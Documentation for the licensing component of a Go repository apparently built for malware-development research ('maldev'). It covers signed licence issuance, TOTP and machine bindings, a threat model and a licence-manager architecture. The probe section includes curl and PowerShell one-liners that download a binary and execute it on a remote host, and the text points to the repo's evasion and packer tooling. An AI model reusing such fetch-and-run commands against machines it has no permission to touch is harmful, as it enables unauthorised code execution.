	"github.com/oioio-space/maldev/license"
	"github.com/oioio-space/maldev/license/totp"
)

func main() {
	priv, _ := license.LoadPrivateKey("./issuer.key")

	// 1. Génère un secret 20 octets (format authenticator standard).
	secret, err := totp.NewSecret()
	if err != nil {
		log.Fatal(err)
	}

	// 2. Émet la licence avec le binding TOTP.
	data, err := license.Issue(license.IssueOptions{
		PrivateKey: priv, KeyID: "k1",
		Subject:    "alice@example.com",
		NotAfter:   time.Now().Add(90 * 24 * time.Hour),
		Bindings:   []license.Binding{license.BindTOTP(secret)},
	})
	if err != nil {
		log.Fatal(err)
	}
	license.SaveLicense("./alice.license", data)

	// 3. Affiche le QR code en ASCII dans le terminal pour scan immédiat.
	ascii, _ := totp.QRImageASCII(secret, "alice@example.com", "rshell")
	fmt.Println("Scanne ce QR avec ton authenticator (Google Authenticator, Authy, etc.):")
	fmt.Println()
	fmt.Println(ascii)

	// 4. Ou sauvegarde en PNG pour envoi sécurisé une seule fois.
	_ = totp.WriteQRImagePNG("./alice-totp.png", secret, "alice@example.com", "rshell", 256)
	fmt.Println("PNG aussi écrit dans ./alice-totp.png (à transmettre par canal sécurisé, à détruire après scan).")

	// 5. (Optionnel) imprime le secret en clair pour saisie manuelle si le scan échoue.
	fmt.Printf("\nSecret (à saisir manuellement si le scan ne marche pas) : %s\n", secret)

	_ = os.Stdin // hint au compilateur que os est utilisé
}

Sortie attendue (le QR fait ~50×50 caractères "█" et espaces, lisible sur un terminal large) :

Scanne ce QR avec ton authenticator (Google Authenticator, Authy, etc.):

████████████████████  ██  ██████      ██████████████
██          ██  ████  ████    ██  ████          ██████
██  ██████  ████  ██  ██  ██    ████  ██████  ██
...

b. Vérification (côté binaire)

package main

import (
	"bufio"
	"fmt"
	"log"
	"os"
	"strings"

	"github.com/oioio-space/maldev/license"
)

func main() {
	pub, kid, _ := license.LoadPublicKey("issuer.pub")

	// Demande le code à l'utilisateur.
	fmt.Print("Code TOTP (6 chiffres) : ")
	scanner := bufio.NewScanner(os.Stdin)
	scanner.Scan()
	code := strings.TrimSpace(scanner.Text())

	_, err := license.VerifyFile("./alice.license",
		license.Trusted{Keys: license.SingleKey(kid, pub)},
		license.WithTOTPCode(code),
	)
	if err != nil {
		log.Fatal("ACCESS DENIED — code incorrect ou licence invalide")
	}
	fmt.Println("Autorisé.")
}

Garanties et limites — sois transparent

GarantieDétail
✅ Le code change toutes les 30 secondesUn screenshot ou un copier-coller a une durée de vie courte.
✅ Tolérance ±1 fenêtre (30s)Absorbe une légère désynchronisation d'horloge.
✅ Comparaison en temps constantPas de timing leak.
⚠️ Le secret est dans la licenceQuelqu'un qui détient le fichier .license peut extraire le secret et reproduire les codes. C'est un speed bump, pas une vraie 2FA.
⚠️ Pas de protection contre le partage volontaireSi l'utilisateur scanne et donne son authenticator à un tiers, le tiers peut générer des codes.

Quand utiliser : ajouter une friction supplémentaire en plus de BindPassword. Un attaquant qui obtient seulement le fichier .license doit encore extraire le secret et le saisir dans son propre authenticator avant de produire un code — l'utilisateur légitime ne fait que taper 6 chiffres.

Quand ne pas utiliser : si la menace inclut un attaquant qui a déjà la licence (vol de fichier), TOTP seul ne change rien. Combine alors avec :

pwBinding, _ := license.BindPassword("strong-passphrase-known-only-by-user")
totpBinding := license.BindTOTP(secret) // secret stocké dans la licence MAIS le code change

Bindings: []license.Binding{pwBinding, totpBinding}

L'attaquant doit avoir : la licence, le mot de passe (non stocké côté disque), ET un authenticator configuré avec le secret.


API helpers (cheatsheet)

FonctionQuand l'utiliser
license.GenerateKey()Crée une paire Ed25519 en RAM.
license.GenerateAndSave(dir, kid)Génère + écrit issuer.key (0600) et issuer.pub (0644).
license.SavePrivateKey(path, priv)PEM MALDEV PRIVATE KEY, atomique, 0600.
license.LoadPrivateKey(path)Lit + parse.
license.SavePublicKey(path, pub, kid)PEM MALDEV PUBLIC KEY avec header KID:.
license.LoadPublicKey(path)Renvoie (pub, kid).
license.SingleKey(kid, pub)Sucre pour map[string]ed25519.PublicKey{kid: pub}.
license.New(priv, sub, ttl)Émission one-liner.
license.Issue(IssueOptions{...})Émission complète.
license.SaveLicense(path, data)Écrit le PEM MALDEV LICENSE.
license.LoadLicense(path)Lit les bytes (à passer à Verify).
license.Verify(data, trusted, ...)Vérification bytes-in.
license.VerifyFile(path, trusted, ...)Vérification fichier-in.
license.Inspect(data)Parse sans signature — diagnostic uniquement.
license.HashFile(path)sha256 hex d'un fichier (→ BinarySHA256).
license.HashIdentity(b)sha256 hex d'octets (→ IdentitySHA256).
license.MarshalPayload(v)Encode n'importe quel objet Go en JSON pour IssueOptions.Payload.
(*Verified).Decode(target)Désérialise le payload dans *target (style json.Unmarshal).
license.PayloadAs[T](v)Désérialise le payload en *T typé (générique).
license.ErrNoPayloadSentinel retourné si la licence n'a pas de payload.
license.BindMachineIDs(...)Binding liste OU.
license.BindPassword(p)Binding password (argon2id, params défauts).
license.BindPasswordWithParams(p, params)Binding password avec paramètres argon2id explicites.
license.DefaultArgon2idParams()Copie des params argon2id par défaut, prête à override.
(*Verified).HasFeature(name)Vérifie un entitlement de License.Features.
hostid.Composite()Fingerprint multi-sources (Local() + CPU brand + MAC primaire).
license.BindTOTP(secret)Binding RFC 6238 TOTP (6 chiffres, ±30 s).
license.BindCustom(name, v...)Binding custom k/v.
license.RegisterVerifier(name, fn)Hook pour types de binding custom.
license.WithTOTPCode(code)Évidence pour BindTOTP.
totp.NewSecret()Nouveau secret 20 octets base32.
totp.Code(secret, t)Calcule un code à une date donnée.
totp.Verify(secret, code, skew)Vérifie un code avec tolérance.
totp.URI(secret, account, issuer)Construit l'URI otpauth://.
totp.QRImagePNG(secret, ...)Image PNG du QR.
totp.QRImageASCII(secret, ...)Représentation ASCII (terminal).
totp.WriteQRImagePNG(path, ...)Écrit le QR PNG sur disque.
license.ParsePublicKey([]byte)Variante "bytes-in" pour //go:embed.
license.ParsePrivateKey([]byte)Variante "bytes-in".

Référence des champs

Documentation détaillée champ par champ dans license-framing.md.

License — FAQ

Questions et réponses pratiques.

Démarrage

Quel est le code minimal côté binaire ?

pub, kid, _ := license.LoadPublicKey("issuer.pub")
if _, err := license.VerifyFile("user.license",
    license.Trusted{Keys: license.SingleKey(kid, pub)}); err != nil {
    log.Fatal("ACCESS DENIED")
}

Côté émetteur :

license.GenerateAndSave("./keys", "k1") // une fois
data, _ := license.New(priv, "alice@example.com", 30*24*time.Hour)
license.SaveLicense("./alice.license", data)

Faut-il un serveur ou une base de données ?

Non. Le mode hors-ligne est le mode par défaut. Une licence est un fichier autonome ; la vérification ne fait aucun appel réseau. Le serveur n'est nécessaire que si tu veux la révocation à distance (WithRevocation) ou le heartbeat (WithHeartbeat).

Quelles dépendances le package ajoute-t-il ?

golang.org/x/crypto (argon2, hkdf, chacha20poly1305, curve25519) — déjà présent dans le go.sum du repo. Aucune autre dépendance externe.


Cas d'usage courants

Donner accès à un testeur pour 1 mois

data, _ := license.New(priv, "tester@example.com", 30*24*time.Hour)
license.SaveLicense("./tester.license", data)

Au bout de 30 jours, le binaire refuse automatiquement.

Donner accès à plusieurs testeurs, chacun individuellement révocable

Émets une licence par testeur. Chaque licence a un ID distinct (UUID v4 généré à l'émission). Pour révoquer Alice sans affecter Bob, mets l'ID d'Alice dans la revocation list.

Voir Recette 11 pour la génération en batch.

Limiter une licence à une machine spécifique

import "github.com/oioio-space/maldev/license/hostid"

// Sur la machine cible :
me, _ := hostid.Local()
fmt.Printf("%x\n", me) // → tu envoies cette valeur à l'émetteur

// Côté émetteur :
Bindings: []license.Binding{
    license.BindMachineIDs(string(me)),
},

Voir Recette 3.

Période d'essai gratuite

NotAfter = time.Now().Add(14 * 24 * time.Hour) à l'émission. Le binaire refuse après. Voir Recette 9 pour un essai par utilisateur.

Niveaux de licence (basic / pro / enterprise)

Mets le tier dans le payload signé :

type Tier struct {
    Level    string   `json:"level"`
    Features []string `json:"features"`
}

raw, _ := license.MarshalPayload(Tier{Level: "pro", Features: []string{"export", "api"}})
data, _ := license.Issue(license.IssueOptions{
    PrivateKey: priv, KeyID: "k1", Subject: "client",
    NotAfter: time.Now().Add(365 * 24 * time.Hour),
    Payload: raw,
})

Côté binaire :

v, _ := license.Verify(data, trusted)
tier, _ := license.PayloadAs[Tier](v)
if !slices.Contains(tier.Features, "export") {
    return errors.New("feature not available in your tier")
}

Voir Recette 10.

Embarquer la clé publique dans le binaire

Utilise //go:embed + license.ParsePublicKey([]byte). Toutes les fonctions de chargement ont une variante bytes-in :

//go:embed issuer.pub
var issuerPub []byte

pub, kid, _ := license.ParsePublicKey(issuerPub)

Recette complète : Recette 16.

Que distribuer, que garder secret

CléStatutDistribuer ?
Privée (MALDEV PRIVATE KEY)Secret absoluJamais. Hors-ligne, HSM si possible.
Publique (MALDEV PUBLIC KEY)Information publiqueOui — commit, embed, README.

Détails : concepts.md § Quelle clé distribuer.

Comment générer un MALDEV_ADMIN_TOKEN ?

C'est un Bearer token aléatoire (≥ 128 bits) qui authentifie les requêtes admin du serveur de révocation.

openssl rand -base64 32

Stockage via variable d'environnement ou secrets manager. Recette complète avec PowerShell / Python / Go : Recette 17.

Ajouter un second facteur TOTP

secret, _ := totp.NewSecret()
data, _ := license.Issue(license.IssueOptions{
    Bindings: []license.Binding{license.BindTOTP(secret)},
    ...
})
fmt.Println(totp.QRImageASCII(secret, "alice", "rshell"))

Au verify, l'utilisateur fournit le code courant via WithTOTPCode("123456"). Le secret est stocké dans la licence (speed bump, pas vraie 2FA — voir Recette 18 pour les détails).

Plusieurs binaires partagent la même clé publique

C'est le cas typique. Une seule paire de clés émet pour rshell, memscan, etc. Utilise Audience pour scoper :

// licence rshell-only :
license.Issue(license.IssueOptions{Audience: []string{"rshell"}, ...})

// dans chaque binaire :
license.Verify(data, trusted, license.WithAudience("rshell"))

Voir Recette 14.


Sécurité

Une licence peut-elle être modifiée pour repousser la date d'expiration ?

Non. La signature Ed25519 couvre tous les champs, y compris NotAfter. Toute modification invalide la signature et Verify rejette.

Et si quelqu'un patche Verify dans le binaire ?

C'est possible et hors scope du package. Le package suppose l'intégrité du binaire. Pour résister à ce scénario, combine avec :

  • Le cmd/packer du repo (chiffrement du .text)
  • Une signature OS (Authenticode sur Windows, Apple Notarization sur macOS)
  • Des techniques d'anti-tamper externes

Comment est stocké un mot de passe lié à une licence ?

En argon2id(password, salt) — fonction de dérivation lente conçue contre le brute-force. La licence contient hash + salt, jamais le mot de passe. Paramètres : t=3, m=64 MiB, p=4. Une tentative coûte environ 100 ms.

Le contenu d'une licence est-il confidentiel ?

Non. Le PEM est trivialement décodable (base64 -d). Toute personne qui détient une licence peut lire Subject, Issuer, Audience, NotAfter, et le contenu de Payload. Pour du confidentiel, utilise SealedPayload (chiffré X25519 + XChaCha20-Poly1305 pour un destinataire spécifique). Voir Recette 8.

L'utilisateur peut-il modifier l'horloge système pour contourner NotAfter ?

Pas indéfiniment. Avec WithStateFile(path) + WithStateHostID(hostid.Local), le binaire mémorise dans un fichier HMAC :

  • le plus récent time.Now() observé localement,
  • le plus récent server_time signé par la revocation list ou le heartbeat.

Un time.Now() antérieur déclenche causeClockRollback. L'utilisateur peut effacer le state file, mais le prochain contact serveur rétablit le plancher signé. Sans aucun contact serveur, la protection se limite au "plus récent local observé".

Que faire si ma clé privée fuite ?

  1. Génère une nouvelle paire avec un nouveau KeyID (ex. k2026-05-emergency).
  2. Release des binaires avec les deux clés publiques dans Trusted.Keys.
  3. Émets de nouvelles licences avec le nouveau KeyID.
  4. Révoque toutes les licences signées par l'ancienne clé.
  5. Attends la fin de la fenêtre de migration.
  6. Release suivante : retire l'ancienne clé publique de Trusted.Keys.

Voir Recette 7.

Que se passe-t-il si une licence légitime fuite ?

Mets son ID dans la revocation list (POST /revoked.pem avec ton admin token). Au prochain refresh de la liste (configurable, typ. 24h), tous les binaires refuseront.


Comportements et limites

Combien de licences puis-je émettre ?

Pas de limite pratique. Chaque licence a un UUID v4 (2^122 valeurs) — collision impossible.

Quelle taille fait une licence ?

500–1500 octets pour une licence typique. Limite dure : MaxLicenseSize = 16 KiB. Au-delà, refus avant parse.

Combien coûte un Verify ?

ConfigurationCoût typique
Minimal (signature + dates)< 1 ms
+ binding password (argon2id)~100 ms
+ revocation HTTPdépend du réseau (50-500 ms)
+ heartbeat HTTPidem
+ binary pinning~10 ms première fois, 0 après (cached via sync.Once)

Pour les binaires lancés en boucle, fais Verify une fois au démarrage et cache le résultat.

Linux ? macOS ? Windows ?

Les trois. license/hostid a des sources d'identifiant par plateforme :

  • Windows : HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
  • Linux : /etc/machine-id (fallback /var/lib/dbus/machine-id)
  • macOS : IOPlatformUUID via ioreg

Le reste du package est pure Go stdlib + golang.org/x/crypto.

Et si l'utilisateur n'a pas de réseau ?

Mode hors-ligne pur : n'utilise ni WithRevocation ni WithHeartbeat. La licence est auto-suffisante jusqu'à NotAfter.

Mode hybride : WithRevocation(...) + WithGracePeriod(7*24*time.Hour). Le binaire tolère 7 jours sans contact serveur, après quoi il refuse.

Que se passe-t-il si le state file n'est pas accessible en écriture ?

Le state file est optionnel (activé par WithStateFile). Sans état, tu perds la détection anti-rollback d'horloge mais le reste fonctionne. Une erreur d'écriture du state file logue un warning et ne refuse pas la licence.

Mon CI tourne dans un container minimal sans /etc/machine-id

Le binding machine est optionnel. Pour le CI ou les tests, ne l'utilise simplement pas. Tu peux aussi injecter une valeur connue via WithMachineID([]byte("ci-runner")).


Debug

Le binaire affiche "license: verification failed", comment connaître la cause ?

Le message est volontairement opaque — il ne dit pas pourquoi le check a échoué pour ne pas guider un attaquant. La cause précise va dans le logueur :

import "log/slog"

logger := slog.New(slog.NewTextHandler(os.Stderr, &slog.HandlerOptions{Level: slog.LevelDebug}))
license.Verify(data, trusted, license.WithLogger(logger))

Tu verras WARN license verify failed cause=binding-machine-mismatch ou équivalent.

Causes les plus fréquentes

CauseSensAction
expireddépassé NotAfterinspecter avec license.Inspect(data)
binding-machine-mismatchmauvaise machinecomparer hostid.Local() aux IDs autorisés
binding-password-mismatchmauvais mot de passere-saisir
unknown-keyTrusted.Keys ne contient pas le KeyIDmettre à jour la clé publique embarquée
bad-signaturelicence modifiée OU mauvaise clé publiquevérifier qu'on utilise la bonne issuer.pub
bad-formatPEM corrompu ou JSON invalidere-télécharger la licence
audience-mismatchmauvaise Audiencevérifier que WithAudience("X") matche License.Audience
clock-rollbackhorloge système avant trusted_floorcorriger l'horloge ou (debug) supprimer le state file
revokedlicence sur la revocation listobtenir une nouvelle licence

Une licence "passe" Inspect mais échoue à Verify

C'est normal. Inspect lit le contenu sans vérifier la signature — c'est un outil de diagnostic. Si Verify rejette avec bad-signature, soit la licence a été modifiée, soit tu utilises la mauvaise clé publique.

Tester sans infrastructure

N'active pas WithRevocation ni WithHeartbeat. La vérification hors-ligne suffit pour tester la logique d'émission, les bindings, les dates, l'audience. Voir Recette 13.


Performance & opérations

Capacité du serveur de révocation

Stateless, signe la liste à chaque requête. Sur un VPS modeste, plusieurs milliers de requêtes/s. Signature Ed25519 de quelques KiB : < 1 ms.

Limite du nombre d'IDs dans une revocation list

Pas de limite dure. Côté client, le source HTTP limite à 1 MiB par réponse (~25 000 IDs). Au-delà, segmente avec revoke.MultiSource.

Logs côté production

Le logueur reçoit chaque succès et chaque échec en JSON structuré. Recommandation : pipe vers ton stack d'observabilité (Loki, ELK, Splunk) et alerte sur cause=clock-rollback ou cause=binding-password-mismatch répétés (indices d'abus).


Voir aussi

License package — Threat model

This page expands §10 of the design spec. Each row covers one threat class, the mitigation implemented in the package, and the residual risk.

Threat matrix

#ThreatMitigation in this packageResidual risk / out of scope
1License forgery — attacker constructs a valid-looking license without the private keyEd25519 signature (256-bit security, deterministic). Verify rejects any body whose signature does not match.Compromised private key. Mitigation: key rotation (Step 7 in workflow.md), air-gapped issuance (future: HSM).
2Field tampering — attacker modifies Subject, NotAfter, or any other field after issuanceSignature covers the entire canonical JSON body. A single changed byte invalidates the signature.None within this package.
3Replay across audiences — attacker uses a rshell license in memscan-serveraud field is signed. WithAudience(...) rejects the license if the caller-provided audience is not in the signed list.An operator who issues with an empty aud (wildcard). The package warns but does not reject.
4Cross-binary reuse — attacker copies a license from one binary to anotherBinarySHA256 pins the exact on-disk hash. IdentitySHA256 pins the embedded identity bytes. WithBinaryPinning() enables both checks.Attacker simultaneously replaces both the binary and its embedded identity blob. Mitigation: pack + code-sign the binary.
5Stale-cache substitution — attacker replaces the local revocation-list cache with an older copyRevocation list carries a monotonic Sequence. Verify rejects any fetched list whose sequence regresses below LastSeenSequence in the state file.State file deletion. The package resets state to zero and logs a warning; the attacker gains one grace period window.
6Revocation server downtime — attacker takes the revocation server offline to prevent revocation deliverySigned ExpiresAt in the revocation list. After LastFetchOk + gracePeriod expires the binary stops running (causeRevocationStale).Operator must choose a grace period short enough to match the security model. Default: none (operator configures).
7Password brute-force — attacker iterates passwords against the binding hashArgon2id (64 MiB, t=3, p=4, 32-byte output). ~100 ms per attempt on 2024 hardware; GPU acceleration still bottlenecked by memory requirements.Offline attack against the full PEM file. Mitigation: keep license files off publicly accessible paths.
8Side-channel binding discrimination — attacker determines which constraint failed to guide enumerationErrLicenseInvalid is a single opaque sentinel. The internal 17-value cause enum is never serialised into the error or the PEM file.Timing side-channels between fast checks (audience) and slow checks (argon2id). The package does not add artificial delays. In practice argon2id dwarfs all other step timings.
9Clock rollback — attacker sets the system clock backward to bypass NotAfterTrustedFloor = max(observed heartbeat times, observed revocation ServerTime). Verify rejects if now < TrustedFloor - skew.Air-gapped machine that never contacts the online checks retains only LastSeenLocal monotonicity. No TPM anchor.
10Algorithm confusion — attacker substitutes a signature generated by a different algorithmDomain separation: the signed payload is `"maldev-license-v1\x00"
11Key rotation gap — operator removes old public key before old licenses expireTrusted is a map; old keys remain valid as long as the operator keeps them present. The workflow documents the retention rule.Human error. There is no automated key-expiry warning.
12Heartbeat nonce replay — attacker captures a heartbeat reply and replays itHeartbeat reply carries a random 16-byte nonce echo. Verify performs subtle.ConstantTimeCompare(reply.NonceEcho, nonce). A captured reply has the wrong nonce for the next call.TOCTOU: an attacker racing the live binary's heartbeat call. Mitigation: TLS on the heartbeat endpoint.
13Machine ID spoofing — attacker clones the MachineGuid / /etc/machine-id of a licensed hosthostid.Local() mixes multiple OS sources via sha256. All sources must match for the fingerprint to agree.Attacker with root/SYSTEM can rewrite all sources. Full OS compromise is out of scope.
14State file HMAC forgery — attacker writes a crafted state file to reset TrustedFloorHMAC key is `HKDF(license_signature
15DoS via oversized input — attacker supplies a 100 MB PEM file to exhaust memoryMaxLicenseSize = 16 KB. Verify rejects oversized input before any JSON parsing.None within this package.
16JSON parse panic — attacker supplies malformed bytes crafted to trigger a decoder panicjsonUnmarshalStrict uses json.NewDecoder with DisallowUnknownFields. Standard library decoder; no known panic paths on adversarial input.Future Go stdlib vulnerabilities. Mitigated by updating the Go toolchain.
17Sealed payload decryption — attacker reads the sealed config blob in the licenseseal.Seal uses X25519 ephemeral key agreement + ChaCha20-Poly1305 AEAD. Only the holder of the recipient private key can open it.Recipient private key compromise. Out of scope for this package.

Explicit non-goals (documented limitations)

The following threats are out of scope for v1. Each has a documented mitigation path:

ThreatWhy out of scopeMitigation path
Binary anti-tamper / anti-debugThe evasion/ packages cover this independentlyPack with cmd/packer + code-signing
Verify bypass via binary patchingAny sufficiently motivated attacker with code execution can patch return nil into the functionUse cmd/packer obfuscation; this is the fundamental limitation of software licensing
Seat counting (max N machines simultaneously)Requires a stateful server with session accountingv2: DB-backed server with session table
Perfect clock anti-rollbackWould require TPM/enclave endorsement keysv2: TPM binding; current code is best-effort offline
Sub-license / delegated issuanceSignature chains with inherited constraintsv2 scope
HSM / PKCS#11 issuanceKey stored in YubiKey or hardware modulev2: license/hsm sub-package

See also

License Manager — Concepts

This page describes the architecture of license-manager, its data model, and its security mechanisms. For operational recipes, jump straight to the Cookbook. For runnable code, see examples/license-manager/.

Concept index

Each notion below has a dedicated page that links back here AND to the example program that exercises it:

NotionPageDemonstrated in
Issuer (Ed25519 signing key)concepts/issuer.md01-issue-basic
KEK & passphrase cascadeconcepts/kek-passphrase.md (coming)
Bindings (machine / password / TOTP)concepts/bindings.md (coming)02-issue-with-bindings (coming)
CRL (Certificate Revocation List)concepts/crl.md (coming)03-revoke-and-crl (coming)
Audit chainconcepts/audit-chain.md (coming)every example
Argon2id presetconcepts/argon-preset.md (coming)02-issue-with-bindings
Sealed payload (X25519)concepts/sealed-payload.md (coming)07-sealed-payload (coming)
Identity pin (host SHA-256)concepts/identity-pin.md (coming)08-identity-pin (coming)

Overview

license-manager is a local-first command-line tool (with a bubbletea TUI) that centralises the full life cycle of maldev research licences without leaving the terminal. It builds on the license/ package for cryptographic issuance and verification, then adds:

  • A persistence layer (SQLite + per-column encryption).
  • Three optional HTTP servers (revocation, heartbeat, probe).
  • A fingerprint probe mechanism to capture the hostid of a remote machine.

The manager is an operator tool, not a defensive primitive — it carries no MITRE ATT&CK ID. It lives in cmd/license-manager/ with the backend in internal/manager/.

The backend API is exposed via *service.Services. The TUI and any other frontend consume this struct — they never touch the store layer or crypto directly.

Layered architecture

flowchart TB
    A["cmd/license-manager<br/>(flags, boot, TUI)"]
    B["internal/manager/service<br/>(IssuerService, LicenseService,<br/>RevokeService, ProbeService, …)"]
    C["internal/manager/httpsrv<br/>(RevocationServer, HeartbeatServer,<br/>ProbeServer, Bundle)"]
    D["internal/manager/store<br/>(ENT client, Store wrapper, migrations)"]
    E["internal/manager/crypto<br/>(KEK derivation, ChaCha20-Poly1305)"]
    F["internal/manager/probe<br/>(agent embed, ServeAgent, AgentResult)"]

    A --> B
    A --> C
    B --> D
    B --> E
    C --> B
    C --> F
    D --> E
LayerRoleDependencies
cryptoKDF (Argon2id) + AEAD (ChaCha20-Poly1305)golang.org/x/crypto
storeSQLite persistence via ENT, auto-migrationscrypto, entgo.io/ent, modernc.org/sqlite
serviceBusiness logic, atomic audit trailstore, crypto, license/*
httpsrvHot-startable / stoppable HTTP serversservice, probe
cmdBoot, passphrase resolution, wiring, TUIeverything above

Encryption at rest

The operator's passphrase never touches the DB. It is used only to derive a KEK (Key Encryption Key) through Argon2id.

passphrase + kek_salt (16 bytes, stored in plaintext in Setting)
    → Argon2id(time=3, memory=64 MiB, threads=4, keylen=32)
    → KEK (32 bytes, in RAM only)

The KEK then wraps each sensitive column with ChaCha20-Poly1305:

[12-byte random nonce] || [ciphertext] || [16-byte AEAD tag]

Encrypted columns

TableColumnContents
Issuerencrypted_privEd25519 private key (64 bytes)
RecipientKeyencrypted_privX25519 private key (32 bytes)
TOTPSecretencrypted_secretTOTP secret (base32)
ServerConfigrevocation_admin_token_encRevocation-server admin token

Plaintext columns

Everything else — licence PEMs, subjects, probe results, identities, audit events. Rationale: this data can be reconstructed from the issued licences and cannot be used to forge new ones.

Canary check

A Setting.kek_canary = KEK.Wrap(random32) block is written when the DB is created. On every startup we try KEK.Unwrap(canary) — failure means the passphrase is wrong. Three attempts, then exit.

The KEK is zeroed (KEK.Wipe()) on a clean shutdown.

Startup cycle

Passphrase resolution follows a strict cascade. The first source that yields a non-empty value wins; later sources are ignored:

1. flag --passphrase-file <path>   → read file, trim whitespace
2. env MALDEV_MGR_PASSPHRASE_FILE  → read the file named by the var
3. env MALDEV_MGR_PASSPHRASE       → direct value
4. (v2) OS keystore (DPAPI / Keychain / libsecret)
5. fallback: interactive TUI prompt (masked modal)

If the DB does not yet exist, the first-launch wizard fires: choose passphrase, generate KEK salt, store canary, create the first issuer.

If the DB exists, the canary check runs immediately. Failure = wrong passphrase.

The three HTTP servers

All three are OFF by default. Each must be started explicitly by the operator (TUI or SettingsService.UpdateServerConfig). A confirmation modal fires on quit when one or more servers are running (controlled by Setting.confirm_quit_with_servers); when Setting.stop_servers_on_exit is on the manager auto-drains them before tea.Quit.

ServerDefault portMain endpointsRole
Revocation:8443GET /revoked.pemPublishes the CRL signed by the active issuer
Heartbeat:8444GET /heartbeatReturns ok: true if the licence is active
Probe:8445GET /probe/<tok>/agent[/<os-arch>]
GET /probe/<tok>/snippet
POST /probe/<tok>/result
Distributes the fingerprint agent and collects results

All three implement the httpsrv.Server interface:

type Server interface {
    Name()   string
    Start(ctx context.Context) error
    Stop(timeout time.Duration) error
    Status() Status
    Events() <-chan Event
}

Bundle.MergedEvents() fans the three event channels into one for the TUI.

Fingerprint probe

The fingerprint probe lets the operator capture hostid.Local() and hostid.Composite() from a remote machine without leaving a permanent tool installed there.

sequenceDiagram
    autonumber
    participant Op as "Operator"
    participant Mgr as "license-manager"
    participant Remote as "Remote machine"

    Op->>Mgr: ProbeService.NewToken(label, ttl)
    Mgr-->>Op: token + base URL
    Op->>Mgr: GET /probe/<tok>/snippet
    Mgr-->>Op: curl / PowerShell one-liner
    Op->>Remote: paste the one-liner
    Remote->>Mgr: GET /probe/<tok>/agent/linux-amd64
    Mgr-->>Remote: probe binary (//go:embed)
    Remote->>Remote: hostid.Local() + Composite()
    Remote->>Mgr: POST /probe/<tok>/result (JSON)
    Mgr->>Mgr: ProbeService.ConsumeToken(→ DB + channel)
    Mgr-->>Op: real-time notification (chan *ProbeToken)

Agent binaries are pre-built for 5 targets (linux-amd64, linux-arm64, darwin-amd64, darwin-arm64, windows-amd64) and embedded via //go:embed. The agent itself is ~80 lines of Go: collect the fingerprints, POST the JSON, exit.

One-liner served by /snippet:

# Linux / macOS
URL="https://<manager>:<port>/probe/<token>"
curl -fsSL "$URL/agent/$(uname -s | tr A-Z a-z)-$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/')" \
  -o /tmp/maldev-probe && chmod +x /tmp/maldev-probe \
  && /tmp/maldev-probe "$URL/result"

# Windows PowerShell
$URL = "https://<manager>:<port>/probe/<token>"
Invoke-WebRequest "$URL/agent/windows-amd64" -OutFile $env:TEMP\maldev-probe.exe
& "$env:TEMP\maldev-probe.exe" "$URL/result"

Data model

11 ENT entities, SQLite schema. All times are UTC.

EntityRoleMain FKs
IssuerEd25519 key pair + metadata
LicenseIssued licence (PEM + metadata)→ Issuer
RevocationRevocation record→ License (1:1)
Identity32 random bytes for identity pinning
RecipientKeyX25519 pair for sealed payloads
TOTPSecretEncrypted TOTP secret→ License
ProbeTokenToken + fingerprint-probe result
ServerConfigSingleton (PK=1) — three servers' config
SettingSingleton (PK=1) — operator preferences, KEK salt/canary
AuditEventImmutable trace of every mutationindexes on target_id, created_at

Notable License indexes: subject, status, not_after, identity_sha256, (issuer_id, status).

Audit trail

Every mutating service method writes the business row and an AuditEvent in the same SQLite transaction. It is impossible to issue, revoke, or pivot a key without leaving a trace.

Event shape:

{
  "kind":        "license.issue",
  "target_kind": "License",
  "target_id":   "<uuid>",
  "actor":       "mathieu",
  "payload":     { "subject": "alice@example.com", "not_after": "2026-12-31T00:00:00Z" },
  "created_at":  "2026-05-20T14:00:00Z"
}

kind follows the <entity>.<action> shape: license.issue, license.revoke, license.delete, license.supersede, issuer.create, issuer.retire, issuer.delete, identity.create, probe.token_created, probe.result, …

See also

Concepts — index

Conceptual pages that explain ONE notion each. Linked from concepts.md (the architecture overview) and from the runnable examples that exercise the notion.

PageNotion
issuer.mdEd25519 signing keys, active vs retired, key-id routing
bindings.mdmachine / password / TOTP / custom evidence + AND semantics
crl.mdSigned revocation list, freshness invariants, cache downgrade defence
audit-chain.mdAtomic audit-with-mutation, immutable trail
kek-passphrase.mdArgon2id → KEK → ChaCha20-Poly1305 column wrapping, passphrase cascade

Coming:

  • argon-preset.md — the fast / default / paranoid tuning curve for password bindings.
  • sealed-payload.md — X25519 sealed boxes for per-recipient payload encryption.
  • identity-pin.md — host SHA-256 identity pinning vs machine bindings.

These three exist on the main concepts index with placeholder cross-links; the dedicated pages land alongside the matching examples in the next batch.

Issuer

An issuer is the Ed25519 key pair that signs licences. Every licence carries the key-id of the issuer that signed it; verify needs that issuer's public key to validate the signature.

Glossary

TermMeaning
IssuerA persisted Issuer row holding an Ed25519 key pair, a human name, a key-id, and a status (active / retired).
Active issuerThe single issuer whose private key is used to sign newly-issued licences and the CRL. Exactly zero or one row has active = true at any time.
Key-idA short opaque string the operator chooses (e.g. prod-2026-q2). The same string is embedded in every PEM the issuer signs and in the public-key PEM the verifying binary loads. The cryptographic signature does not depend on it — it is a routing label so a binary that trusts multiple issuers can pick the right public key per licence.
RetiredAn issuer that is no longer the active signer but whose row stays so existing licences still verify. Retired issuers can be deleted only after every licence they signed is gone.

Where it lives

Lifecycle

stateDiagram-v2
    [*] --> Active: Generate (1st)
    Active --> Active: SetActive (no-op)
    Active --> Retired: Retire (operator promotes a new key)
    Retired --> Active: SetActive (rotate back)
    Retired --> [*]: Delete (only when 0 licences reference it)

Operations on the Issuer row are all atomic — every mutating service method writes the row AND an AuditEvent in the same SQLite transaction.

Service methodAudit kindNotes
Generate(name, keyID, actor)issuer.createNew random Ed25519 pair, private key wrapped under the KEK.
Import(name, keyID, privPEM, actor)issuer.importAdopt a key that was generated outside the manager (e.g. on another instance).
SetActive(id, actor)issuer.set_activeFlips the singleton flag in one transaction (clears all others first).
Retire(id, actor) (planned)issuer.retireMarks status=retired without deleting.
Delete(id, actor)issuer.deleteRefuses if any licence references this issuer. Zeroes the wrapped private-key buffer before drop.
ExportPublic(id)Marshals the public half as MALDEV PUBLIC KEY PEM (with the key-id header). This is the file the verifying binary loads.
ExportPrivate(id)Marshals the decrypted private half. Treat the bytes as sensitive — anyone with them can sign new licences.

Why exactly one active issuer

